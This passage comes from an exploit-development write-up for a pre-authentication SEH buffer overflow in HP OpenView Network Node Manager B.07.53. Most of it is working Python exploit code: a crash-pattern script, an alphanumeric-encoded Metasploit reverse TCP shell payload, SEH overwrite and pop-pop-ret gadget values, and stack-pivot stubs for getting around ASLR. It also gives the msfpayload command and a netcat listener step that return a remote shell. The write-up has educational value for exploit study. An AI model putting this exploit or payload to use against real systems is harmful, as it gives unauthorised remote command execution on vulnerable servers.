testbuff = ("\x41\x61\x30\x41\x61\x31\x41\x61\x32\x41\x61\x33\x41\x61\x34\x41\x61\x35\x41\x61\x36\x41\x61\x37\x41\x61\x38\x41\x61\x39\x41\x62\x30\x41\x62\x31\x41\x62\x32\x41\x62\x33\x41\x62\x34\x41\x62\x35\x41\x62\x36\x41\x62\x37\x41\x62\x38\x41\x62\x39\x41\x63\x30\x41\x63\x31\x41\x63\x32\x41\x63\x33\x41\x63\x34\x41\x63\x35\x41\x63\x36\x41\x63\x37\x41\x63\x38\x41\x63\x39\x41\x64\x30\x41\x64\x31\x41\x64\x32\x41\x64\x33\x41\x64\x34\x41\x64\x35\x41\x64\x36\x41\x64\x37\x41\x64\x38\x41\x64\x39\x41\x65\x30\x41\x65\x31\x41\x65\x32\x41\x65\x33\x41\x65\x34\x41\x65\x35\x41\x65\x36\x41\x65\x37\x41\x65\x38\x41\x65\x39\x41\x66\x30\x41\x66\x31\x41\x66\x32\x41\x66\x33\x41\x66\x34\x41\x66\x35\x41\x66\x36\x41\x66\x37\x41\x66\x38\x41\x66\x39\x41\x67\x30\x41\x67\x31\x41\x67\x32\x41\x67\x33\x41\x67\x34\x41\x67\x35\x41\x67\x36\x41\x67\x37\x41\x67\x38\x41\x67\x39\x41\x68\x30\x41\x68\x31\x41\x68\x32\x41\x68\x33\x41\x68\x34\x41\x68\x35\x41\x68\x36\x41\x68\x37\x41\x68\x38\x41\x68\x39\x41\x69\x30\x41\x69\x31\x41\x69\x32\x41\x69\x33\x41\x69\x34\x41\x69\x35\x41\x69\x36\x41\x69\x37\x41\x69\x38\x41\x69\x39\x41\x6a\x30\x41\x6a\x31\x41\x6a\x32\x41\x6a\x33\x41\x6a\x34\x41\x6a\x35\x41\x6a\x36\x41\x6a\x37\x41\x6a\x38\x41\x6a\x39\x41\x6b\x30\x41\x6b\x31\x41\x6b\x32\x41\x6b\x33\x41\x6b\x34\x41\x6b\x35\x41\x6b\x36\x41\x6b\x37\x41\x6b\x38\x41\x6b\x39\x41\x6c\x30\x41\x6c\x31\x41\x6c\x32\x41\x6c\x33\x41\x6c\x34\x41\x6c\x35\x41\x6c\x36\x41\x6c\x37\x41\x6c\x38\x41\x6c\x39\x41\x6d\x30\x41\x6d\x31\x41\x6d\x32\x41\x6d\x33\x41\x6d\x34\x41\x6d\x35\x41\x6d\x36\x41\x6d\x37\x41\x6d\x38\x41\x6d\x39\x41\x6e\x30\x41\x6e\x31\x41\x6e\x32\x41\x6e\x33\x41\x6e\x34\x41\x6e\x35\x41\x6e\x36\x41\x6e\x37\x41\x6e\x38\x41\x6e\x39\x41\x6f\x30\x41\x6f\x31\x41\x6f\x32\x41\x6f\x33\x41\x6f\x34\x41\x6f\x35\x41\x6f\x36\x41\x6f\x37\x41\x6f\x38\x41\x6f\x39\x41\x70\x30\x41\x70\x31\x41\x70\x32\x41\x70\x33\x41\x70\x34\x41\x70\x35\x41\x70\x36\x41\x70\x37\x41\x70\x38\x41\x70\x39\x41\x71\x30\x41\x71\x31\x41\x71\x32\x41\x71\x33\x41\x71\x34\x41\x71\x35\x41\x71\x36\x41\x71\x37\x41\x71\x38\x41\x71\x39\x41\x72\x30\x41\x72\x31\x41\x72\x32\x41\x72\x33\x41\x72\x34\x41\x72\x35\x41\x72\x36\x41\x72\x37\x41\x72\x38\x41\x72\x39\x41\x73\x30\x41\x73\x31\x41\x73\x32\x41\x73\x33\x41\x73\x34\x41\x73\x35\x41\x73\x36\x41\x73\x37\x41\x73\x38\x41\x73\x39\x41\x74\x30\x41\x74\x31\x41\x74\x32\x41\x74\x33\x41\x74\x34\x41\x74\x35\x41\x74\x36\x41\x74\x37\x41\x74\x38\x41\x74\x39\x41\x75\x30\x41\x75\x31\x41\x75\x32\x41\x75\x33\x41\x75\x34\x41\x75\x35\x41\x75\x36\x41\x75\x37\x41\x75\x38\x41\x75\x39\x41\x76\x30\x41\x76\x31\x41\x76\x32\x41\x76\x33\x41\x76\x34\x41\x76\x35\x41\x76\x36\x41\x76\x37\x41\x76\x38\x41\x76\x39\x41\x77\x30\x41\x77\x31\x41\x77\x32\x41\x77\x33\x41\x77\x34\x41\x77\x35\x41\x77\x36\x41\x77\x37\x41\x77\x38\x41\x77\x39\x41\x78\x30\x41\x78\x31\x41\x78\x32\x41\x78\x33\x41\x78\x34\x41\x78\x35\x41\x78\x36\x41\x78\x37\x41\x78\x38\x41\x78\x39\x41\x79\x30\x41\x79\x31\x41\x79\x32\x41\x79\x33\x41\x79\x34\x41\x79\x35\x41\x79\x36\x41\x79\x37\x41\x79\x38\x41\x79\x39\x41\x7a\x30\x41\x7a\x31\x41\x7a\x32\x41\x7a\x33\x41\x7a\x34\x41\x7a\x35\x41\x7a\x36\x41\x7a\x37\x41\x7a\x38\x41\x7a\x39\x42\x61\x30\x42\x61\x31\x42\x61\x32\x42\x61\x33\x42\x61\x34\x42\x61\x35\x42\x61\x36\x42\x61\x37\x42\x61\x38\x42\x61\x39\x42\x62\x30\x42\x62\x31\x42\x62\x32\x42\x62\x33\x42\x62\x34\x42\x62\x35\x42\x62\x36\x42\x62\x37\x42\x62\x38\x42\x62\x39\x42\x63\x30\x42\x63\x31\x42\x63\x32\x42\x63\x33\x42\x63\x34\x42\x63\x35\x42\x63\x36\x42\x63\x37\x42\x63\x38\x42\x63\x39\x42\x64\x30\x42\x64\x31\x42\x64\x32\x42\x64\x33\x42\x64\x34\x42\x64\x35\x42\x64\x36\x42\x64\x37\x42\x64\x38\x42\x64\x39\x42\x65\x30\x42\x65\x31\x42\x65\x32\x42\x65\x33\x42\x65\x34\x42\x65\x35\x42\x65\x36\x42\x65\x37\x42\x65\x38\x42\x65\x39\x42\x66\x30\x42\x66\x31\x42\x66\x32\x42\x66\x33\x42\x66\x34\x42\x66\x35\x42\x66\x36\x42\x66\x37\x42\x66\x38\x42\x66\x39\x42\x67\x30\x42\x67\x31\x42\x67\x32\x42\x67\x33\x42\x67\x34\x42\x67\x35\x42\x67\x36\x42\x67\x37\x42\x67\x38\x42\x67\x39\x42\x68\x30\x42\x68\x31\x42\x68\x32\x42\x68\x33\x42\x68\x34\x42\x68\x35\x42\x68\x36\x42\x68\x37\x42\x68\x38\x42\x68\x39\x42\x69\x30\x42\x69\x31\x42\x69\x32\x42\x69\x33\x42\x69\x34\x42\x69\x35\x42\x69\x36\x42\x69\x37\x42\x69\x38\x42\x69\x39\x42\x6a\x30\x42\x6a\x31\x42\x6a\x32\x42\x6a\x33\x42\x6a\x34\x42\x6a\x35\x42\x6a\x36\x42\x6a\x37\x42\x6a\x38\x42\x6a\x39\x42\x6b\x30\x42\x6b\x31\x42\x6b\x32\x42\x6b\x33\x42\x6b\x34\x42\x6b\x35\x42\x6b\x36\x42\x6b\x37\x42\x6b\x38\x42\x6b\x39\x42\x6c\x30\x42\x6c\x31\x42\x6c\x32\x42\x6c\x33\x42\x6c\x34\x42\x6c\x35\x42\x6c\x36\x42\x6c\x37\x42\x6c\x38\x42\x6c\x39\x42\x6d\x30\x42\x6d\x31\x42\x6d\x32\x42\x6d\x33\x42\x6d\x34\x42\x6d\x35\x42\x6d\x36\x42\x6d\x37\x42\x6d\x38\x42\x6d\x39\x42\x6e\x30\x42\x6e\x31\x42\x6e\x32\x42\x6e\x33\x42\x6e\x34\x42\x6e\x35\x42\x6e\x36\x42\x6e\x37\x42\x6e\x38\x42\x6e\x39\x42\x6f\x30\x42\x6f\x31\x42\x6f\x32\x42\x6f\x33\x42\x6f\x34\x42\x6f\x35\x42\x6f\x36\x42\x6f\x37\x42\x6f\x38\x42\x6f\x39\x42\x70\x30\x42\x70\x31\x42\x70\x32\x42\x70\x33\x42\x70\x34\x42\x70\x35\x42\x70\x36\x42\x70\x37\x42\x70\x38\x42\x70\x39\x42\x71\x30\x42\x71\x31\x42\x71\x32\x42\x71\x33\x42\x71\x34\x42\x71\x35\x42\x71\x36\x42\x71\x37\x42\x71\x38\x42\x71\x39\x42\x72\x30\x42\x72\x31\x42\x72\x32\x42\x72\x33\x42\x72\x34\x42\x72\x35\x42\x72\x36\x42\x72\x37\x42\x72\x38\x42\x72\x39\x42\x73\x30\x42\x73\x31\x42\x73\x32\x42\x73\x33\x42\x73\x34\x42\x73\x35\x42\x73\x36\x42\x73\x37\x42\x73\x38\x42\x73\x39\x42\x74\x30\x42\x74\x31\x42\x74\x32\x42\x74\x33\x42\x74\x34\x42\x74\x35\x42\x74\x36\x42\x74\x37\x42\x74\x38\x42\x74\x39\x42\x75\x30\x42\x75\x31\x42\x75\x32\x42\x75\x33\x42\x75\x34\x42\x75\x35\x42\x75\x36\x42\x75\x37\x42\x75\x38\x42\x75\x39\x42\x76\x30\x42\x76\x31\x42\x76\x32\x42\x76\x33\x42\x76\x34\x42\x76\x35\x42\x76\x36\x42\x76\x37\x42\x76\x38\x42\x76\x39\x42\x77\x30\x42\x77\x31\x42\x77\x32\x42\x77\x33\x42\x77\x34\x42\x77\x35\x42\x77\x36\x42\x77\x37\x42\x77\x38\x42\x77\x39\x42\x78\x30\x42\x78\x31\x42\x78\x32\x42\x78\x33\x42\x78\x34\x42\x78\x35\x42\x78\x36\x42\x78\x37\x42\x78\x38\x42\x78\x39")

buffer = "GET /topology/homeBaseView HTTP/1.1\r\n"
buffer += "Host: " + crash + "\r\n"
buffer += "Content-Type: application/x-www-form-urlencoded\r\n"
buffer += "User-Agent: Mozilla/4.0 (Windows XP 5.1) Java/1.6.0_03\r\n"
buffer += "Content-Length: 1048580\r\n\r\n"

# place the testbuff as POST data
buffer += testbuff

print "[*] Sending evil HTTP request to HP NNM -B.07.53, buffer length: ", len(crash)
expl = socket.socket(socket.AF_INET, socket.SOCK_STREAM )
expl.connect(("172.16.232.178", 7510))
expl.send(buffer)
expl.close()

During crash, !mona suggest found the cyclic pattern at 0x04df6fd1.

But the original buffer was reduced into 139 bytes. That length was too less to accommodate a reverse shell payload. It seems application puts a limit on the length of HTTP POST data.

post data pattern found

Due to this, place the final reverse shell payload at the beginning of the input buffer with encoded form.

Preparing final payload

Generated 314 bytes reverse tcp shell payload using metasploit.

1
msfpayload windows/shell_reverse_tcp LHOST=172.16.232.149 LPORT=4444 N

shell_reverse_tcp_payload

Encoded that payload using alphaNumEncoder.py. The length of the encoded version was 2054 bytes.

Prepared the final buffer that would lay out in memory like below

stack_layout

The shell

In Kali box, run netcat listening on port 4444.

Fired up the final exploit code and got the remote shell.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
#!/usr/bin/python 

# file name: hpnnm-B.07.53-exploit-v9_stable.py
# author: greyshell
# description: encoded reverse tcp shell payload using alphaNumEncoder 

import socket
import os
import sys

# max crash buff length = 3780
# nSEH offset = 3305, SEH offset = 3309
total_len = 3780

# Point ESP relative to program counter's present value: adding 2340 bytes to EDI (holds the same value as PC)
# 04DD74D6   57               PUSH EDI
# 04DD74D7   58               POP EAX
# 04DD74EE   66:05 7E09       ADD AX,97E
# 04DD74E7   50               PUSH EAX
# 04DD74E8   5C               POP ESP

finalPayload_esp = ("\x57\x58\x66\x05\x7e\x09\x50\x5c")

rev_shell_payload = ("\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x55\x63\x24\x25\x2d\x55\x63\x24\x25\x2d\x57\x63\x26\x25\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x30\x31\x55\x38\x2d\x30\x31\x55\x38\x2d\x31\x33\x55\x3c\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x6c\x3d\x4e\x2e\x2d\x6c\x3d\x4e\x2e\x2d\x6d\x3d\x50\x31\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x57\x5f\x2c\x53\x2d\x57\x5f\x2c\x53\x2d\x57\x60\x31\x54\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x53\x2b\x51\x2a\x2d\x53\x2b\x51\x2a\x2d\x54\x2d\x53\x2b\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x21\x55\x63\x3e\x2d\x21\x55\x63\x3e\x2d\x21\x56\x63\x46\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x32\x73\x23\x6b\x2d\x32\x73\x23\x6b\x2d\x34\x73\x23\x6c\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x5a\x6d\x74\x38\x2d\x5a\x6d\x74\x38\x2d\x5c\x6f\x74\x38\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x35\x55\x63\x6b\x2d\x35\x55\x63\x6b\x2d\x36\x56\x63\x6d\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x32\x52\x28\x4b\x2d\x32\x52\x28\x4b\x2d\x34\x53\x28\x4c\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x37\x3c\x55\x44\x2d\x37\x3c\x55\x44\x2d\x3c\x41\x56\x46\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x63\x27\x5f\x39\x2d\x63\x27\x5f\x39\x2d\x65\x27\x61\x3e\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x66\x3e\x28\x55\x2d\x66\x3e\x28\x55\x2d\x68\x43\x29\x56\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x39\x38\x32\x2c\x2d\x39\x38\x32\x2c\x2d\x3b\x39\x33\x2e\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x37\x3b\x38\x38\x2d\x37\x3b\x38\x38\x2d\x3c\x3b\x39\x39\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x37\x38\x38\x3c\x2d\x37\x38\x38\x3c\x2d\x3c\x39\x39\x41\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x55\x3d\x39\x39\x2d\x55\x3d\x39\x39\x2d\x56\x41\x39\x3d\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x3d\x49\x4f\x68\x2d\x3d\x49\x4f\x68\x2d\x42\x49\x51\x69\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x41\x54\x54\x26\x2d\x41\x54\x54\x26\x2d\x42\x56\x56\x26\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x33\x68\x3e\x49\x2d\x33\x68\x3e\x49\x2d\x34\x68\x3e\x49\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x37\x38\x5f\x55\x2d\x37\x38\x5f\x55\x2d\x39\x39\x5f\x57\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x45\x58\x31\x4f\x2d\x45\x58\x31\x4f\x2d\x45\x59\x32\x4f\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x5f\x37\x38\x38\x2d\x5f\x37\x38\x38\x2d\x5f\x39\x38\x38\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x31\x33\x55\x27\x2d\x31\x33\x55\x27\x2d\x31\x35\x55\x28\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x55\x63\x32\x34\x2d\x55\x63\x32\x34\x2d\x57\x63\x32\x34\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x22\x73\x2e\x34\x2d\x22\x73\x2e\x34\x2d\x23\x74\x2e\x36\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x50\x38\x38\x32\x2d\x50\x38\x38\x32\x2d\x50\x39\x38\x33\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x36\x27\x5d\x31\x2d\x36\x27\x5d\x31\x2d\x38\x28\x5f\x32\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x32\x54\x55\x4f\x2d\x32\x54\x55\x4f\x2d\x34\x55\x55\x50\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x71\x4f\x5d\x23\x2d\x71\x4f\x5d\x23\x2d\x72\x50\x5d\x23\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x63\x27\x68\x32\x2d\x63\x27\x68\x32\x2d\x65\x27\x68\x32\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x50\x60\x5f\x55\x2d\x50\x60\x5f\x55\x2d\x51\x60\x60\x55\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x3e\x39\x32\x5c\x2d\x3e\x39\x32\x5c\x2d\x44\x3d\x33\x5d\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x39\x39\x3e\x39\x2d\x39\x39\x3e\x39\x2d\x3e\x3d\x43\x3d\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x55\x63\x39\x39\x2d\x55\x63\x39\x39\x2d\x57\x63\x3c\x3d\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x47\x2a\x31\x55\x2d\x47\x2a\x31\x55\x2d\x49\x2b\x32\x55\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x69\x37\x39\x32\x2d\x69\x37\x39\x32\x2d\x6a\x3c\x3d\x33\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x55\x55\x55\x47\x2d\x55\x55\x55\x47\x2d\x55\x55\x55\x48\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x55\x63\x6c\x24\x2d\x55\x63\x6c\x24\x2d\x57\x63\x6e\x26\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x3c\x2d\x48\x52\x2d\x3c\x2d\x48\x52\x2d\x3c\x2e\x49\x54\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x44\x35\x39\x32\x2d\x44\x35\x39\x32\x2d\x46\x36\x39\x33\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x55\x32\x2d\x2e\x2d\x55\x32\x2d\x2e\x2d\x56\x33\x2e\x30\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x32\x44\x44\x55\x2d\x32\x44\x44\x55\x2d\x34\x44\x45\x55\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x4f\x5c\x28\x36\x2d\x4f\x5c\x28\x36\x2d\x50\x5c\x28\x36\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x38\x35\x37\x26\x2d\x38\x35\x37\x26\x2d\x38\x36\x37\x28\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x37\x39\x55\x5f\x2d\x37\x39\x55\x5f\x2d\x38\x3c\x56\x60\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x37\x36\x34\x37\x2d\x37\x36\x34\x37\x2d\x37\x38\x36\x38\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x27\x3d\x49\x49\x2d\x27\x3d\x49\x49\x2d\x29\x41\x49\x49\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x54\x26\x54\x65\x2d\x54\x26\x54\x65\x2d\x54\x28\x56\x65\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x4c\x54\x64\x26\x2d\x4c\x54\x64\x26\x2d\x4c\x56\x64\x27\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x51\x3c\x26\x37\x2d\x51\x3c\x26\x37\x2d\x52\x3c\x28\x39\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x55\x64\x32\x26\x2d\x55\x64\x32\x26\x2d\x55\x64\x34\x28\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x38\x26\x37\x49\x2d\x38\x26\x37\x49\x2d\x38\x28\x39\x49\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x2b\x49\x2e\x5f\x2d\x2b\x49\x2e\x5f\x2d\x2d\x49\x2e\x5f\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x54\x2b\x57\x41\x2d\x54\x2b\x57\x41\x2d\x55\x2c\x59\x41\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x42\x5f\x2c\x59\x2d\x42\x5f\x2c\x59\x2d\x44\x61\x31\x59\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x65\x50\x54\x68\x2d\x65\x50\x54\x68\x2d\x67\x51\x56\x68\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x45\x6a\x70\x69\x2d\x45\x6a\x70\x69\x2d\x45\x6b\x72\x6b\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x55\x63\x44\x55\x2d\x55\x63\x44\x55\x2d\x55\x63\x45\x56\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x3d\x26\x43\x26\x2d\x3d\x26\x43\x26\x2d\x3d\x28\x45\x28\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x55\x64\x5e\x3e\x2d\x55\x64\x5e\x3e\x2d\x55\x64\x5f\x46\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x4d\x26\x37\x4a\x2d\x4d\x26\x37\x4a\x2d\x4e\x28\x39\x4b\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x65\x39\x26\x3d\x2d\x65\x39\x26\x3d\x2d\x66\x3c\x28\x3d\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x6a\x2e\x3c\x54\x2d\x6a\x2e\x3c\x54\x2d\x6c\x2e\x3d\x56\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x27\x3e\x2d\x28\x2d\x27\x3e\x2d\x28\x2d\x27\x43\x2d\x2a\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x3e\x41\x54\x65\x2d\x3e\x41\x54\x65\x2d\x42\x41\x56\x65\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x27\x39\x4f\x26\x2d\x27\x39\x4f\x26\x2d\x27\x3b\x51\x28\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x5f\x5a\x38\x38\x2d\x5f\x5a\x38\x38\x2d\x60\x5a\x3c\x38\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x65\x50\x54\x68\x2d\x65\x50\x54\x68\x2d\x67\x51\x56\x68\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x54\x46\x4a\x6a\x2d\x54\x46\x4a\x6a\x2d\x56\x47\x4b\x6a\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x71\x3e\x34\x2b\x2d\x71\x3e\x34\x2b\x2d\x72\x46\x36\x2d\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x45\x55\x44\x6a\x2d\x45\x55\x44\x6a\x2d\x45\x56\x45\x6b\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x50\x6d\x3c\x48\x2d\x50\x6d\x3c\x48\x2d\x51\x6e\x3c\x49\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x4e\x26\x2e\x47\x2d\x4e\x26\x2e\x47\x2d\x50\x28\x31\x49\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x39\x51\x26\x39\x2d\x39\x51\x26\x39\x2d\x3c\x51\x28\x3b\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x27\x39\x45\x26\x2d\x27\x39\x45\x26\x2d\x27\x3b\x45\x28\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x5e\x44\x64\x33\x2d\x5e\x44\x64\x33\x2d\x5f\x45\x65\x34\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x55\x55\x35\x27\x2d\x55\x55\x35\x27\x2d\x56\x55\x35\x28\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x56\x5c\x27\x55\x2d\x56\x5c\x27\x55\x2d\x58\x5e\x27\x55\x50")

final = finalPayload_esp + rev_shell_payload

egg_marker = "T00WT00W"
buff_initial = "AAAA" + egg_marker + final + "A" * (3293 - len(final))
# buff_initial = "A" * 3305

# 1035FE34   48               DEC EAX
# 1035FE35   48               DEC EAX
# 1035FE36   77 04            JA SHORT 1035FE59
# little edian format: "\x4c\x4c\x77\x04"  ==> bad char friendly
nseh = "\x48\x48\x77\x04"

# 0x6d6e394a : pop ecx # pop ecx # ret 0x08 | asciiprint,ascii,alphanum {PAGE_EXECUTE_READ} [jvm.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v5.0.140.3 (C:\Program Files\HP OpenView\jre\jreActive\bin\client\jvm.dll)
seh = "\x4a\x39\x6e\x6d"

# setting up ESP dynamically bypassing ASLR protection
# 2216FDF0   58               POP EAX
# 2216FDF8   66:05 2C01       ADD AX,12C
# 2216FDF6   50               PUSH EAX
# 2216FDF7   5C               POP ESP

espSetUp = ("\x58\x66\x05\x2c\x01\x50\x5c")

alphaNumEncoding = ("\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x2d\x5d\x55\x5d\x2d\x2d\x5d\x55\x5d\x2d\x31\x5e\x55\x5d\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x70\x2c\x5c\x6f\x2d\x70\x2c\x5c\x6f\x2d\x71\x31\x5d\x71\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x45\x38\x26\x57\x2d\x45\x38\x26\x57\x2d\x46\x38\x28\x57\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x5b\x6c\x37\x45\x2d\x5b\x6c\x37\x45\x2d\x5b\x6e\x3c\x45\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x41\x53\x37\x2d\x2d\x41\x53\x37\x2d\x2d\x42\x54\x37\x31\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x54\x37\x66\x45\x2d\x54\x37\x66\x45\x2d\x56\x39\x66\x46\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x50\x3e\x39\x31\x2d\x50\x3e\x39\x31\x2d\x51\x41\x3b\x33\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x33\x2a\x67\x55\x2d\x33\x2a\x67\x55\x2d\x34\x2a\x67\x55\x50")

# Replaced the "D" buffer with "A" buffer to protect from ESP corruption
buff_last = "A" * (total_len - len(buff_initial) - len(nseh) - len(seh) - len(espSetUp) - len(alphaNumEncoding))

crash = buff_initial + nseh + seh + espSetUp + alphaNumEncoding + buff_last
buffer = "GET /topology/homeBaseView HTTP/1.1\r\n"
buffer += "Host: " + crash + "\r\n"
buffer += "Content-Type: application/x-www-form-urlencoded\r\n"
buffer += "User-Agent: Mozilla/4.0 (Windows XP 5.1) Java/1.6.0_03\r\n"
buffer += "Content-Length: 1048580\r\n\r\n"

print "[*] Sending evil HTTP request to HP NNM -B.07.53, buffer length: ", len(crash)
expl = socket.socket(socket.AF_INET, socket.SOCK_STREAM )
expl.connect(("172.16.232.178", 7510))
expl.send(buffer)
expl.close()

shell

Conclusion

At the end of my journey, I found my final exploit code was turned out entirely different from muts.

The reason was, I dealt with two other challenges - ASLR and position of final payload. In this particular release (B.07.53), application puts a limit on the length of POST data.

References

  • EDB-ID #5342: HP OpenView NNM 7.5.1 - OVAS.exe SEH PRE AUTH Overflow Exploit
  • DEFCON #16: BackTrack Foo - From bug to 0day by Mati Aharoni

DEFCON #16 talk on YouTube